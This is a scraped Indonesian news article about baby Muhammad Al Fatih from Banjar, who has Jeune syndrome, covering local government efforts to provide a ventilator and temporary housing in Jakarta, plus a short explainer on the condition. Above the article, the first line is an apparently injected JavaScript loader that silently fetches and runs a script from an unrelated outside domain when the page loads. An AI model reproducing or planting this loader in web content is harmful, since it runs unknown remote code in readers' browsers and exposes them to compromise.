(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Pemkab Banjar Fokus Bantu Al Fatih Dengan Ventilator dan Rumah Sementara


MARTAPURA, Walaupun kondisi Al Fatih sudah dapat dipulangkan dari Rumah Sakit Cipto Mangunkusumo Jakarta, namun masih harus membutuhkan ventilator sebagai alat bantu bernapas. Begitu dibeberkan Kepala Dinas Kesehatan Kabupaten Banjar Ikhwansyah beberapa waktu lalu.

“Arti dipulangkan yang sebenarnya bukan di bawa ke sini (Kalimantan Selatan). Namun Al Fatih masih harus melalui beberapa tingkatan untuk melakukan tahapan operasi, sehingga Al Fatih dan keluarga masih dicarikan rumah tinggal yang ada di luar rumah sakit Cipto Mangunkusumo,” jelasnya.

Perlu diketahui, Muhammad Al Fatih adalah bayi pertama di Indonesia yang ditemukan dengan diagnosis Jeune Syndrome yaitu kelainan tulang dada sempit, sehingga paru-paru tidak mengembang.

Muhammad Al Fatih, baru berumur 10 bulan, bayi asal Kecamatan Mataraman, Kabupaten Banjar diagnosis menderita penyakit langka dan satu-satunya se Asia Tenggara, hingga harus dirawat di Rumah Sakit Cipto Mangunkusumo, Jakarta.

Hingga sekarang adapun penggalangan dana yang dilakukan dari sumber kitabisa.com sejak 9 Juli 2018 hingga 26 November 2018 untuk pembelian ventilator seharga Rp 214 juta sudah terkumpul sebesar Rp 147.375.556.

Menurut Ikhwansyah, selama Al Fatih nanti tinggal diluar rumah sakit Cipto Mangunkusumo dia harus membutuhkan alat bantu untuk bernapas dengan ventilator yang saat ini untuk pembelian alat tersebut masih dilakukan penggalangan dana. “Perkaranya pemerintah daerah membantu kekurangan dana Rp 80 juta bukan masalah yang mudah mengingat ada aturan keuangan,” akunya.

Namun sekarang pihaknya tetap fokus bersama Sekda Banjar Nasrunsyah dan Bupati Banjar KH Khalilurrahman untuk berkonsentrasi dan berharap pada Desember nanti untuk alat bantu pernapasan ventilator dan rumah sementara yang ada di Jakarta sudah tersedia. “Sementara ini kami tetap focus besama pak sekda dan bupati untuk berkonsentrasi pada bulan Desember nanti untuk menyiapkan ventilator dan rumah sementara sudah tersedia,” pungkasnya.

Apa Itu Sindrom Jeune?

Jeune Syndrome adalah kondisi langka yang terutama mempengaruhi tulang. Tanda dan gejala umum termasuk dada kecil dan rusuk pendek yang dapat membatasi pertumbuhan dan perluasan paru-paru. Hal ini sering menyebabkan kesulitan pernapasan yang mengancam jiwa penderitanya.

Orang-orang yang bertahan dari tantangan pernapasan pada masa bayi, dapat mengembangkan masalah ginjal atau jantung yang parah. Dalam banyak kasus, penyebab sindrom Jeune tidak diketahui. Namun, perubahan (mutasi) pada beberapa gen yang berbeda  telah diidentifikasi pada beberapa keluarga dengan kondisi tersebut. Sindrom Jeune diwariskan secara autosomal resesif. Perawatan didasarkan pada tanda dan gejala yang ada pada setiap orang. (rendy)

Reporter:Rendy
Editor:Cell

Desy Arfianty

Recent Posts

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

60 menit ago

Kuliner Gratis dan Panjat Pinang Warnai Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More

2 jam ago

Peringatan Hari Jadi ke-72 Kabupaten HSU, Paman Birin: Syukuri Capaian Pembangunan

KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More

2 jam ago

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

4 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialiasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

5 jam ago

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Ciptaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

7 jam ago

This website uses cookies.